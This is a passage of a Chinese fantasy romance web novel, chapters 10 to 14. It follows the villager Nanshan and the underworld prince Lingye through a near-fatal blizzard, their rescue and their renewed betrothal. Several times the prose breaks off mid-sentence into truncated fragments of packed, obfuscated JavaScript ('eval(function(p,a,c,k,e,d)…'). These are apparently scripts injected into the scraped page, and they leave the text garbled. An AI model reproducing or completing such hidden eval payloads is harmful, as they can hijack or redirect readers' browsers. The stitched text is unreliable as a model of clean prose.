继续等的话,仙人伯伯可能五个时辰之后立刻就到了,也可能五十个时辰还没来,可如果现在努力一把,说不定直接就出去了……当然,也可能会冻死在路上。 南山抿了抿唇,看向灵晔:“你觉得呢?” “你决定。”灵晔把问题反抛回去。 南山深吸一口气:“走!”她不喜欢被动的等待。 灵晔唇角翘起一点弧度。 “我说的是我啊,你要不要走还得你自己决定,”南山坚决不为任何人的性命负责,尤其是这位太子爷的,“先说好,你到时候要是走不动了,我可帮不了你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还剩不到半个时辰的时间,”灵晔呼吸轻颤,眸色坚定地往前走,“必须在封印翻转前离开。” 南山见状也不再劝,跑过去扶住他的胳膊,灵晔刚要挣脱,就听到她有气无力道:“赶紧走吧,别闹别扭了。” 灵晔顿了顿,不反抗了。 最后的七八里路,似乎比前面几十里路还要难走,南山的脚起初是疼的,后来直接失去了知觉,每一步都重如泰山,加上还要扶灵晔,更是步步艰难。 最糟糕的是,她渐渐有些热了。 想脱衣服,想睡觉,想躺在雪地里凉快凉快,再看灵晔,衣襟已经被他扯开些许,露出修长的脖颈和锁骨,显然和她是同样的感受。 二舅姥爷冻死在路边后,南山听长辈们说过不少这方面的事,非常清楚她和灵晔此刻有多危险,也知道他们已经彻底没了退路,只能拼命往前走。 可心里这么想是一回事,真正做起来却又是另外一回事,南山自己走已经很累了,还要再搀扶一个,除了眼睁睁看着前方的光亮越来越弱,竟然什么都做不了。 再这么走下去,他们俩恐怕都得冻死在这里。南山一冒出这个念头,心里顿时咯噔一下,灵晔也因为她不经意的松手直直倒在了地上。 “灵晔!”南山惊呼一声,赶紧去扶他。 灵晔一把抓住她的手,干净的眼眸里透着几分锐利:“你想丢下我。” 南山被他看得心虚,正要解释什么,他便已经松手。 “算了,再这样下去,我们谁都出不去,”灵晔闭上眼睛,“你一个人走吧。” “灵晔……” “放心,我父王并非不讲理之人,即便你独自离开,他也不会怨恨你,该给你家的庇佑,一分都不会少。” 南山想说的话戛然而止。 灵晔双眸紧闭,似乎不愿再看她,远处的微光忽闪了一下,如蜡烛被风吹到,危险地摇晃之后又勉强立住。南山知道时间真的不多了,再这么迟疑不定,她就真走不了了。 “对不起……” 她深吸一口气,用尽所有力气朝着微光跑去,灵晔睁开眼睛,看着她的身影越来越远,直到彻底消失后才重新闭上眼睛。 太累了,原来作为凡人赶路时,会是这么疲累。灵晔躺在雪地里,犹如泡在温泉之中,整个人都透着说不出的轻松。 睡吧,睡一觉吧。 灵晔唇角翘起一点弧度,正要放任自己进入黑甜的梦境,远处突然传来气急败坏的声音:“灵晔你个王八蛋!我上辈子是不是欠你的啊啊啊啊……” 他微微一怔,困惑地睁开眼睛,眼前的世界从模糊到清晰,甩着两个麻花辫的姑娘一边哭一边朝自己跑来,身后是跳动了几下之后,终于彻底熄灭的光亮。 明明白昼还未来临,最后一抹光亮也彻底消失,可灵晔却觉得这一刻天地亮得出奇。 看来是冻出幻觉了。 11. 第 11 章 直到南山没刹住车,一头栽到了他旁边的雪堆儿里,灵晔才意识到一切都不是幻觉。 他无言半晌,才找回自己的声音:“你怎么又回来了?” 南山猛地抬头,沾了雪的脸上带着一丝愤恨:“不然呢?见死不救?” “你回来也救不了我。”灵晔面色平静,不想说自己身上已经没了知觉。 南山绷着脸上前,将他的衣领用力阖上,又伸出已经冻得红肿的手将他抱住,一边贴紧一边在他身上搓来搓去,试图用摩擦给他带来一点热意。 “你再坚持一下,等天亮就不冷了。”南山的唇齿被冻得快要张不开了,仍然在故作镇定。 灵晔喉间溢出一声‘嗯’,便又一次闭上了眼睛。 “喂,喂!”南山强行把他叫醒,冻得发白的小脸上满是一言难尽,“我都放弃近在眼前的出口回来了,你好歹也努力一下吧。” 灵晔强打精神:“所以说,你不该回来。” “……已经后悔了,所以不要再说这种会让我更后悔的废话。”南山扭头看了一眼,发现微光果然彻底消失后,心里的懊悔简直要把她整个人淹没。 所以她为什么要回来呢?为什么!阿爹阿娘还在凡间等她,他们这辈子唯一的心愿就是女儿能健康胖壮地长大、终老,她现在到底为什么要跑回来!为什么明明什么都做不了,却还要和灵晔一起置身于危险之中?! 南山后悔得想要仰天长啸,可如果老天再给她一次机会……她想起自己朝着微光奔跑时,脑海里一遍又一遍出现的灵晔的双眸,不得不悲伤地承认,就算是再来一次,她恐怕还会做出这种选择。 一条性命摆在眼前,人真的很难权衡利弊。 灵晔不知道南山内心在经历什么样的山崩海啸,只看得出她的脸色变了又变,最后认命一样叹气道:“谁让我人品好呢。” 灵晔眼睫轻动,好一会儿才勉强抬起手,轻轻搭在了她的手腕上。 同样是冷得失去温度的手,南山的手是凉的,灵晔却是冰的,他搭上来的刹那,南山轻轻颤了一下,低头看了看交叠在一起的手,又抬头和灵晔对视。 “你是不是也有点害怕?”南山问。 灵晔静静看着她,半晌才遵照她的意愿点了点头。 南山笑了一声,将他抱得更紧:“我就说么,就算是神仙也会怕死的。” 灵晔抬眸看向天空,黑夜笼罩之下,连一颗星星都没有。 困倦感一次又一次袭来,他很想睡上一觉,可一闭眼,脑海就会浮现南山悲愤交集的那句‘我都放弃近在眼前的出口回来了,你好歹也努力一下吧’。 “喂。”南山又突然叫他。 灵晔勉强保持清醒:“你以前叫我仙人。”现在却是喂。 南山没想到这种时候了,他竟然还在计较尊卑的问题,扯了一下唇角道:“哦,仙人,真是冒犯了。” “你可以唤我名字。”太子爷大度表示。 假装忘记自己早就直呼其名的南山:“那真是太感谢了。” 灵晔也是冻得头脑发昏,才没有听出她显而易见的阴阳怪气,静了一瞬后又道:“说点什么吧。” “你想说什么?”南山往他怀里缩了缩,试图像昨晚一样捂热他,却怎么都不成功。 不仅他没热,她也越来越冷,冒着风雪赶了一夜路的弊端终于出现,两个人都在逐渐失去体温。 “随便说吧。”灵晔低声道。 南山想了想,问:“你为什么不肯告诉仙人伯伯,你现在很厉害的事?” 灵晔:“……你还真是执着。” “都要一起变成冻尸了,你还不肯告诉我?”南山理直气壮。 灵晔眼眸微动,半晌才缓缓开口:“灵府破损,再修炼便会难上加难,一旦再生出新的心魔,必死无疑。” “……还真是因为怕他担心,”南山没想到自己竟然猜中了,闻言叹了声气,“那你也真够不听话的,他不让你修炼,你就别修了呗,竟然还偷偷的。” 灵晔闭了闭眼睛:“你不懂。”冥王之位一向世袭,但若是继位者太弱,能者皆可取而代之,而位置一旦被新的冥王取代,旧系血脉就会被屠戮殆尽。 早在很久之前,父王和他的性命,就全都系在他的修为上了。 “我是不懂,”南山啧了一声,“我可没你那么强的心气儿,我这辈子不求别的,就希望阿爹阿娘身体康健,我呢活得久一点,至少能活到可以给他们养老送终的时候,然后一家三口埋一个坟里,下辈子还在一起。” “就算你们埋在一起,轮回之路也是要自己走的,能再做一家三口的可能性很低。”虽然很冷,但灵晔还是泼了冷水。 南山很想白他一眼,但因为身体已经失去知觉,只能继续保持趴在他身上的姿势:“现在说这些还有什么用,我都要跟你一起冻死了。” 灵晔静默一瞬,道:“抱歉。” 没想到他竟然会道歉,南山扬了一下唇角,勉为其难地原谅他:“算了,是我自己选择回来的,也不能怪你。” 灵晔缓缓闭上了眼睛。 “灵晔。” “……嗯?” “我也告诉你一个秘密吧。” 南山的声音突然变得模糊,灵晔静了半晌,才听懂她的意思。 “什么?”他迟缓地问。 南山打了个哈欠,不受控地闭上双眼:“我七岁之前,其实不叫南山。” “那叫什么?” “岁岁,”南山越来越困,声音也开始含糊,“阿爹说‘岁岁平安’是句吉祥话,每有人说一句,就等于为我祈一次愿,结果七岁那年,我们村来了个掉书袋的教书先生,一听我的名字就夸阿爹取的名字好,说什么宁为玉碎不为瓦全,一听就很有气节,给我阿爹气得啊,连夜给我改了名……” 她声音越来越低,最后两句灵晔没听清,在脑子里过了几遍才迟钝地问:“这算什么秘密。” “当然是秘密,阿爹说了,以前的名字不吉利,不准我再提起,不然就跟我断绝父女关系,我现在告诉你了,你如果跟我阿爹告密的话,那我就成孤儿了……” 灵晔唇角浮起一点弧度,还想再说什么,却再也发不出声音。 狂风依然呼啸,掀起的雪粒子横冲直撞,两人于风雪之中紧紧相偎,彻底没了声响。 南山感觉自己好像在不断下坠,坠到更黑暗的地方去。她会去哪里呢?灵晔会跟她一起吗?那个地方也会像这里一样冷吗? 她突然生出无数个疑问,正不知该去问谁时,一缕发丝突然抚过她的脸颊。 有点痒。 南山睫毛动了一下,耳边突然传来一声调笑:“我的小未婚妻,怎么半个月未见就惨成这副模样了。” 谁? 南山艰难地睁开眼睛,温热的手指突然挑起她的下颌,将她从灵晔的胸口剥离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“若按结界内的时间来看,大约是封印游离乾位再次翻转之后。”阎岳斟酌回答。 南山沉默一瞬,试图理解他的话:“也就是说,当时我们只要老老实实原地不动,五个时辰后就会自然获救。” “什么?”阎岳没听懂她的意思。 南山突然捶胸顿足仰天长啸。 阎岳吓一跳,赶紧问她是怎么回事,南山看着慈和的长辈,突然悲从中来:“仙人伯伯,我和灵晔差点死掉!” “到底是怎么回事?”阎岳忙问。 南山掩去了前面灵晔大战七脚蛇的事,将她和灵晔一起赶路追封印、结果差点死在封印不远处的事详细说了,阎岳虽然已经听灵晔大致提过几句,但还是第一次听到这么绘声绘色跌宕起伏的版本,即便知道他们已经获救,但还是为之心惊。 南山讲完,口干舌燥地抿了一口茶,刚放下杯子,就听到阎岳道:“南山,伯伯想问你一个问题。” “您说。”南山抬头。 阎岳斟酌片刻,试探:“你当时明明可以自己走出封印,为什么还要回去找灵晔?” …… “因为她心悦我。”灵晔静默良久,终于回答了止参的问题。 止参手里的鸡腿突然掉在地上,僵住的样子像只呆头鹅:“真的?什么时候的事?我怎么不知道?” 12.第 12 章 相比止参的大惊小怪,灵晔看起来要淡定许多,只是眉头皱得紧了一些,坐姿僵硬了一些,也心不在焉了一些,平日最喜欢的花草茶都放冷了,也没想起来要喝一口。 “……你怎么不回答我的问题?”止参见他一直不说话,忍不住催促。 灵晔扫了他一眼:“你问题这么多,我该回答哪个?” “行,我们一个一个来,”止参清了清嗓子,“首先,你确定她喜欢你?” “嗯。” “……从哪确定的?”止参虚心请教。 灵晔:“当时封印就在眼前,她明明可以离开结界,却仍然选择与我同生共死,这一件事便足以确定。” “未必吧,也许她只是怕惹怒冥主,才不敢丢下你呢?”止参委婉反驳。 灵晔不认同地与他对视:“我放她走时,已经同她讲过父王不会追究,但她仍然选择留下。” “也就是说,她在明知道抛下你也不会受任何惩罚的情况下,还是决定和你共同进退。”止参斟酌。 灵晔颔首,顺便补充一句:“当时我们已经在风雪中走了将近五个时辰,身体失温严重,可以说留下就是九死一生。” “这么危险的情况,她清楚吗?” “非常清楚。” 止参陷入沉思。 寝房里静了些许,灵晔终于想起自己的花草茶,端起来轻抿一口。 冷了。 他蹙了蹙眉,却没有像往常叫人换一杯新的来,而是将杯中茶水一饮而尽。 热茶虽好,但偶尔吃冷的似乎也不错,灵晔将杯子放回桌上,这才看向趴在床上的止参:“先前我一直觉得她不肯退婚,只是因为怕失了冥界的庇护,如今看来却并非如此。” “你的意思是,她很早之前就喜欢你了?”止参惊讶。 灵晔:“是。” 止参:“……” “你不信?”灵晔看出他的迟疑。 “……也不是不信,就是觉得事情有点超出了我的理解范围。”止参被自己的好朋友说服了,“不过仔细想想也是,我都那样逼她了,她还不肯退婚,而且不退婚就不退婚吧,还借机咬了你一口……不对,那都不是咬,是亲啊!她喜欢你,所以趁机偷亲你呢!” 止参说着说着,把自己说明白了。 灵晔脑海中浮现南山强吻自己时的倔强神情,下意识抬手摸了一下嘴唇,可惜他从结界里出来后用了不少灵药,那点小小的伤口早已经痊愈了,甚至没有留下半点痕迹。 “她喜欢你。”止参一脸笃定。 灵晔颔首:“嗯,她喜欢我。” “仙人伯伯你这是什么表情?你不会以为我是因为喜欢他,才会选择回去找他吧?”南山抱着被子,见鬼一样看着阎岳,“绝对不可能,只有傻子才会这么认为!” 阎岳那点期盼被她坚决的语气彻底打碎,清了清嗓子后板起脸:“我就是问问,你这么激动做什么……而且你刚才是在变相骂我吧?” 南山确实是一时冲动才口不择言,这会儿被阎岳质问,立刻乖巧服软:“我就是有点激动,别生我气嘛仙人伯伯。” 说罢,她叹了声气,“仙人伯伯,我跟您说句实话,我当时就是一时冲动才回去找他的,刚回去的时候还觉得自己的选择是对的,以为自己重来一次还会这么做,可真等快冻死的时候,我心里其实是后悔的,而且非常后悔。” 听她袒露真心,阎岳放缓了神色,“惧怕死亡,万物之常情。” 南山嘿嘿一笑:“我就知道仙人伯伯能理解我的心情……话说当时我之所以会回去,大部分原因是为了您。” “为了我?”阎岳惊讶。 南山用力点头:“对呀对呀,仙人伯伯不仅救了我的命,给了我二十年的安稳岁月,这段时间还对我那么好,不仅帮我保护阿爹阿娘,还让我住那么大的房子,还给我饭吃,我实在太感激您了,所以就算豁出我的性命,也不能让您白发人送黑发人。” 阎岳没养过闺女,由于身份原因,也没有小辈敢跟他撒娇,几千年来还是第一次遇到南山这种能屈能伸嘴甜伶俐的小丫头,一时间被夸得嘴都翘起来了:“哎呀我做那些事皆是因为私心,哪有你说的这么好。” “仙人伯伯,你就是这么好,”南山一脸笃定,随即哀怨地叹了声气,“其实我也理解,您是希望儿子和未来儿媳能和睦相处,所以才有刚才一问,但目前而言,我和灵晔确实没到那个地步呢。” 阎岳也跟着皱起眉头:“所以你对他没有一丝心动?” “没有,绝对没有。” “这可难办了。”止参趴在床上,突然发出一声叹息。 灵晔抬眸:“什么难办了?” “当然是婚约的事了,”止参扯了一下唇角,“如果她只是为了爹娘安危,才坚持这门婚事,那我们只要想到保全他们一家三口的办法,她也就主动退婚了,可如果她是为了你这个人……” 止参下半句没说,只是同情地看一眼灵晔,“而且她如今还是你的救命恩人,咱们以后不仅不能再逼她,还得对她以礼相待。” 作为最好的朋友,他当然知道灵晔真实实力,也知道那七脚蛇不是南山杀的,但是……别人不知道啊!更何况她放弃近在眼前的封印回去找灵晔,用自身体温为灵晔争取了些许时间,也确实是铁打的事实。 “……实在不行,你就忤逆冥主一次,自行退婚吧,”止参想来想去,还是觉得无法破局,“其实那个凡人说的也对,你想退婚没道理让她做那个坏人。” 灵晔眼眸微动,就此陷入沉思。 屋子里突然变得安静,婢女端着伤药走进来时,就看到床上趴的、床边坐的谁也不理谁,各自陷在自己的思绪里。 “少主,公子,”婢女恭敬低眸,“该上药了。” 止参回神:“放下吧。” “是。” 婢女放下伤药转身离开,灵晔抬眸目送,等她把门关上后,才将拳头大的伤药瓶拿起来。 “来吧少爷,帮个忙。”止参打个响指,上衣一瞬裂开,露出皮开肉绽的后背。 灵晔淡定打开伤药,抠了一团就往他身上涂。止参疼得脸色都变了,连抽几口气后才小声抱怨:“我爹也太狠了,简直是照死了抽我。” 灵晔:“别乱动。” 止参闷闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那肯定是不愿意的,谁会愿意嫁给欺负自己的人,”南山脱口而出,随即想到自己拒绝的是仙人伯伯的亲儿子,吭哧半天后又找补,“那什么,灵晔是冥界的太子,身份尊贵高高在上,我就是个没规矩的乡下野丫头,大字不识一个,干活不行做女红也不行,可以说是一无是处,实在配不上他。” 听出她的言外之意,阎岳叹了声气:“也罢,既然你们没有缘分,那我就不枉做坏人了。” 南山眼睛一亮,随即又开始担忧:“那没有了婚约,我阿爹阿娘的安危……” “你若是愿意,就认我做义父如何?想来有冥主义女的身份做震慑,加上我派去凡间的暗卫,足以庇护你爹娘的余生,”阎岳说罢,故意板起脸,“你嫌弃我儿子也就罢了,总不会也嫌弃我……” “仙人阿爹!”在哄长辈开心这方面,南山相当会抓时机。 阎岳噎了一下,突然忍不住乐了:“诶!” “仙人阿爹!” “诶!” “仙人……” “冥主,少主求见,说有事想同您说。”门外突然传来通传声。 “他来得正好,我也有好消息要告诉他。”阎岳笑道。 南山也笑:“对他来说,真是天大的好消息。” 13.第 13 章 虽然南山很想亲眼见证婚约取消的瞬间,但由于冻伤初愈体力不支,最终只能乖乖躺好睡觉,阎岳独自一人去了院中。 房门开了又关,却只有阎岳一人出现,灵晔下意识看了一眼他的身后,确定无人跟随后眉头轻蹙。 “不是说已经醒了?”他问。 阎岳抚掉肩上落花,淡定地到石桌前坐下:“醒了,但精力不济,又歇下了。” “凡人真是脆弱。”灵晔轻抿薄唇。同样是九死一生,他出了结界后就醒了,还能扛下父王一套家法,南山却昏睡两天,至今都不能维持长时间的清醒。 听到他还好意思说凡人脆弱,阎岳要不是顾及冥界之主的气势,真想翻个白眼给他看:“她如今这般,怪谁啊?” 灵晔沉默一瞬,朝他伸手。 “做什么?”阎岳心气不顺。 灵晔面无表情:“请父王责罚。” 阎岳噎了一下,瞄到他衣袖下泛着血丝的伤痕,清了清嗓子转移话题:“你有事要跟我说?” “是。”见他没有责罚自己的意思,灵晔垂下手。 阎岳:“正好,我也有事要跟你说。” “什么事?”灵晔问。 阎岳:“你先说你的事。” “你先说,我的事不急。”灵晔看一眼阎岳身后紧闭的房门,拒绝了。 确定婚期是一件麻烦的事,要占卜于天,再问灵于地,一时半会儿没办法得出结果。 阎岳第一次看到自家儿子这般谦让,奇怪地看了他一眼后,到底还是笑了:“我这可是一个好消息。” “我的……也是好消息。”父王一心想让他和南山成婚,如今他终于答应,应该也算好消息。 阎岳一听他这么说,奇怪的胜负欲突然出现:“我的好消息,绝对比你的好消息更好。” 要是平时,灵晔才懒得和他拌这种幼稚的嘴,可今日却是沉默片刻后说了两个字:“未必。” 阎岳:“……” “到底什么消息?”见话题越扯越远,灵晔只好提醒一句。 阎岳回神,笑着卖了个关子:“我认了个义女,你有妹妹了。” 灵晔一顿,和他对视半天后,表情渐渐僵硬:“为什么?” “什么为什么?”阎岳没听懂,“我说,你马上就要有……” 话没说完,灵晔已经径直朝南山的卧房去了。 “你做什么?”阎岳赶紧拦住他。 灵晔推开他的胳膊:“我有事问她。” “她已经歇下,有什么事你跟我说。”自从他和止参一起把南山丢水里后,阎岳就不太愿意让他再靠近南山。 灵晔仿佛没看出阎岳的拒绝,只是板着脸往屋里走,阎岳当即就要用灵力困住他,灵晔却突然扭头:“我不会伤害她。” 言语认真,一看就不是撒谎。 阎岳愣了愣神,灵晔当即趁他不备进了屋,顺便将房门从里面锁上。 自从灵晔那次闯进屋内威胁南山后,阎岳便给了南山一个锁门的法器,只要房门从里面锁上,即便是他也无法破开。当初给的时候是为了防止混蛋儿子再来,没想到如今却把老子拦在外面了,阎岳气得上蹿下跳,最后只能无奈警告灵晔不要乱来。 灵晔本来就没打算乱来,但他进屋的时候,是想直接把南山叫醒的,可一看到她沉静的睡颜,不知为何突然想起在结界里她强打精神的模样,沉默片刻后到底没有唤醒她。 南山这一觉睡得并不踏实,昏沉之间隐约感觉床边站了个人,她眉头蹙了又蹙,终于勉强睁开了眼睛。 四目相对,南山重新闭上眼睛,含糊地说了一句:“又梦见他了……”真够晦气的。 后半句没说出口就已经再次睡着,只留下略显怔愣的灵晔还清醒着。 许久,他回过神来,蹙眉盯着南山的脸打量—— 她刚才说‘又梦见他了’,说明梦到他不止一次。 得多喜欢一个人,才能梦到他这么多次? 南山醒来时,床边不知何时多了一把椅子,灵晔就在椅子上坐着,正专注地观察她的脸。 南山迟缓地眨了一下眼睛,默默把被子往上拉了拉。 “你醒了。”灵晔不擅长寒暄,三个字也能说得生硬。 确定不是幻觉,南山默默坐了起来:“你什么时候来的?” 灵晔:“一刻钟前。” “啊……”南山打量他的神色,并未看到类似喜悦的情绪,于是试探,“那件事,仙人伯伯跟你说了吗?” 在没确定他的态度前,还是不要叫阎岳仙人阿爹了。 灵晔沉默片刻,问:“你做的决定?” “算是我和仙人伯伯一起做的决定。”南山相当谨慎。 灵晔这次沉默更久,久到南山都要绷不住时,才缓缓说了一句:“我理解。” “嗯?”南山抬头。 灵晔重复一遍:“我理解你为何做出这样的决定。” 冷静之后,他想了很多,觉得南山会这么做,无非是历经生死之后放下了执念,决定委屈自己,给心爱之人自由。 “……理解啊,那就好。”南山挤出一点微笑,脑子却在飞速转动,思考他到底理解什么了,取消婚约对他而言是天大的好事,他有什么可理解的,难道是在说认义父的事? 她一边走神一边微笑,落在灵晔眼中,就成了强颜欢笑。 灵晔眼眸微动,静了片刻后淡淡道:“你不用委屈自己。” 南山回神:“啊?我没有……” “我答应与你成婚。”灵晔说出后半句。 南山:“……啊?” “放心,我不觉勉强。”灵晔强调。 “你先等一下……”南山脑子都快卡住了,完全不懂他是怎么说出这句话的,“不管你是谁,赶紧从太子爷身上下来!” 灵晔:“?” 南山盯着他看了半天,确定他没被鬼上身,一时间更糊涂了:“你想和我成婚?” “是。” 听到他一本正经地承认,南山嘴唇颤了几颤,最终发自内心地问了一句:“……为什么啊!” 看着她仍是震惊的表情,灵晔眉眼和缓了些,却仍是透着几分生硬。他本来想直接回答她为了报救命之恩,但顾及姑娘家的自尊心,他千挑万选了一个理由:“我需要你。” 南山:“?” “继承王位后,我需要一个帮手。”灵晔补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我的灵力,足够你用,”灵晔看着她的眼睛道,”整个冥界,也只有我的足够你用。” 言外之意,认个便宜义父解决不了她的困境。 南山迟缓地眨了一下眼睛,好一会儿才艰难开口:“你为什么帮我?” 灵晔眼眸微动,突然别开脸:“现在人人皆知你有降服七脚蛇之力,若我们成婚,我日后行事有你遮掩,会方便许多,父王……也能心安。” “可你之前明明是不乐意娶我的,”南山没被他绕进去,“你当时怎么不想着让我遮掩、让你父王心安?” 灵晔被问得一噎,却很快反应过来:“人一旦经历过生死,便会想通许多事。”就像她,之前宁死也不肯退婚,如今不也突然决定放弃。 “也是。”南山被说服了。 灵晔看着她若有所思的样子,喉结突然发紧:“所以……婚约还继续吗?” 南山摸摸鼻子:“就只剩半年多可活了,不继续又能咋办?” 她的答案在灵晔的意料之中,灵晔并未因此感到高兴,只是唇角突然浮起一点弧度。 14.第 14 章 婚约的事,两个人算是敲定了,可到底该怎么跟阎岳解释,南山又犯了难,总不能实话实说吧。 灵晔倒是没有纠结这些,与她谈妥后直接开了门,趴在门板上努力偷听却什么也没听见的阎岳直接摔了进来,踉跄两步后强行用灵力稳住了身躯。 灵晔:“她做不成你的义女了。” “你没事吧?他又欺负你了?”阎岳仔细打量南山,要不是顾及她是个姑娘,恨不得亲自为她检查。 这么短的时间内就出尔反尔,南山很是心虚,一时间格外乖巧:“我没事,少主只是跟我聊了几句,没有欺负我。” 灵晔蹙眉:“唤我名讳即可。” “真的?”阎岳第二次无视亲儿子。 南山诚恳点头:“真的。” 阎岳这才松一口气,随即想起刚进门时灵晔说的那句话。 “你什么意思,什么叫她做不成我的义女了?”阎岳突然对亲儿子发难。 灵晔:“因为我要与她成婚?” “你容不下这段婚约也就罢了,难道连一个小小的义妹也容不下,你怎么能……你刚才说什么?”阎岳怀疑自己听错了。 灵晔没有说第二遍的打算,但神情表露了一切。 阎岳一向冷静聪慧的眼眸里难得出现一丝茫然,好一会儿才看向南山。 南山轻咳一声:“我同意了。” “……你要是被威胁了,就眨一下眼睛。”阎岳眉头紧皱。 南山没忍住乐了,一双眼睛笑得弯弯的,灵晔多看了一眼。 “没有威胁,我是自愿的。”南山解释。 “怎么可能,”阎岳当即反驳,“你方才还说对他没有半点心动,我一说取消婚约,你还高兴得不行,眼下怎么又自愿成婚了?” 虽然这是显而易见的事实,但被他直接这么说出来,尤其是当着灵晔的面说出来,南山还真是有点尴尬。 相比之下,灵晔却淡定得多:“违心之言你也信?” 阎岳:“?” “雪原之上,我和她已互生情愫,只是因为没来得及对彼此坦露心迹,你便跟她提了退婚的事,她以为我对她无意,才违心说不喜欢我,如今我们已经说清,自然是要成婚的,”灵晔说完,还不忘看向南山,“是吧?” “是、是吧。”南山回神,突然佩服得五体投地。灵晔这小子看着一副高高在上的谪仙模样,没想到撒谎的功力比她还强。 对她迟钝的反应,灵晔有些许不满,但想到她突然美梦成真,一时反应不过来也是正常,于是便不与她一般见识了。 “你若实在想认个义女,那就去认别人吧。”灵晔总结道。 “……我脑子有病吗?非得给自己认个义女。”阎岳无语地看了他一眼,又跟南山确认,“他说的都是真的?” “嗯,真的。”南山看着阎岳关心的眼神,难得生出一分愧疚,“对不起了仙人伯伯,不能认你做义父了。” 阎岳摸摸胡子:“你想好了就成,不过嘛,做不成父女,也是可以唤我阿爹的。” “仙人阿爹!”南山相当上道。 阎岳高兴了,再次跟她确认:“想好了?真要跟他成婚?确定不冷静一下,仔细想想如今对他生出的情愫到底是真的喜欢、还是共患难之后的义气?” 连名字都不配有的亲儿子:“?” “想好了,是喜欢。”南山不走心地给出回答。 灵晔当即扫了阎岳一眼,没说话,但矜持的倨傲显现无疑。 “你确定想好了?”阎岳再次无视他。 南山失笑:“仙人阿爹,之前最想我和灵晔成婚的人不是你吗?怎么真要成婚了,你反而不太愿意了?” “此一时彼一时嘛,我当初也没想到他会这么欺负人啊,”阎岳想起灵晔这两次干的事就心气不顺,“欺凌弱小,简直对不起我对他的教养。” 灵晔:“刚才不是主动请罚了?” “你对南山做的那些事,光是请罚就够了?”阎岳反问。 灵晔抿了抿唇,不说话了。 “过去的事我都不计较了,仙人阿爹也别计较了。”南山赶紧打圆场。 阎岳轻哼一声,正要说什么,突然抬眸看向天空,南山顺着他的视线看过去,只见平日灰蒙蒙的天空上,如今却出现一片紫白的云,乍一看像乡下某种不知名的野花,大片大片的煞是漂亮。 “那是什么?”南山好奇地问。 灵晔:“昆仑的人来了。” 阎岳当即回头,面色凝重地看着他:“你怎么知道?你的神识能探到?” 灵晔一脸淡定:“我的神识早就不能用了,你又不是不知道,不过是昆仑的人总喜欢这样的排场,才做此猜测。” 阎岳一想也是,便不追问了。 不多会儿,侍卫果然来报:“昆仑老祖求见冥主,说有要事相商。” “昆仑老祖?”阎岳惊讶,“他不是在闭关吗?怎么突然来冥界了?” 灵晔:“许是昆仑出了什么事。” 阎岳点了点头,急匆匆往外走,小小的院落顿时只剩下南山和灵晔两个人。 南山站在原地心不在焉,想着灵晔一走就回屋补觉,结果等啊等,旁边的人都没有要动的意思,她不解抬头,恰好对上了他直直的视线。 南山一顿:“那个……” 她突然有点不知道该说什么。 “还有半个时辰就该用晚膳了。”灵晔突然道。 南山:“那你吃得挺早。”她还是喜欢天彻底黑了再吃晚饭。 没想到她会这么回应,灵晔静默一瞬,又道:“今日已定菜色是水晶虾仁,龙井烧肉,文思豆腐,香菇菜心,尚有四道菜还未定。” 南山不懂他为什么要跟自己说这个,想了想道:“一顿八个菜呢,真富贵。” 然后又沉默了。 灵晔看得出,她在努力迎合自己,觉得自己既然认可了这份婚约,就不该再像以前一样对她横眉冷对。 偶尔也该关心一下未婚妻,比如现在。 “你唤父王阿爹,你亲爹会不会不高兴?” 南山愣了愣,这才明白他说那些有的没的废话,就是为了敲打她。 “我们那儿有个说法,就是有干爹干娘的孩子都是贵子,干爹干娘越多,孩子就会越康健,我阿爹为了让我平安长大,给我认了很多干爹干娘,我都是直接唤他们阿爹阿娘的,”南山斟酌着回答,试图让他明白自己不会跟他争宠,“就是一种称呼而已,没有别的意思,我阿爹不会不高兴。” 灵晔:“哦。” ……哦是什么意思?不乐意就直说啊,南山有些无语:“你要是不高兴,我可以把称呼改回去。” “不用。”灵晔拒绝了。 南山点头:“也是,就算现在改回去,成婚之后也要改回来的。” 没想到才短短片刻,她又一次刻意地提起婚约。灵晔看了她一眼,淡淡道:“放心。” “嗯?”南山抬头。 灵晔没有多说,直接离开了。 ……所以要她放心什么啊? 南山稀里糊涂地回到屋里,直到躺下都没想明白灵晔到底让她放心什么……有机会跟仙人阿爹说一下吧,让他找个大夫给灵晔诊诊脉,看是不是脑子真的冻坏了。 可惜这个机会迟迟没来。 自从仙人阿爹去见了昆仑老祖后,就再也没有来看她,整个沧澜宫也开始戒备起来,连南山的小院外面都多了几重侍卫把守。她虽然独自待在小院里,但也能察觉到气氛紧迫,似乎有什么大事发生。 南山很想知道到底发生了什么事,可不管是负责送饭的牛角人,还是院外时刻在巡逻的侍卫,被她问起时都是一副讳莫如深的样子。 估计只有仙人阿爹来了,她才能知道发生了什么。南山整天在小院里等啊等,没想到没等来阎岳,却等来了走路姿势有点奇怪的止参。 “你又想干什么?”她一脸警惕。 止参扯了一下唇角:“来跟你道歉。” “道歉?”南山一顿。 止参一脸木然:“对不起,我那天不该推你下水,害你险些丧命。我错了,我真的错了,我以后再也不敢欺负你了,求求你原谅……” “你是被家里长辈逼着来的?”南山试探。 止参惊讶:“你怎么知道?”的确是他爹逼着他过来的,还说他要是不能求得少主未婚妻的原谅,就再打断他一条腿。 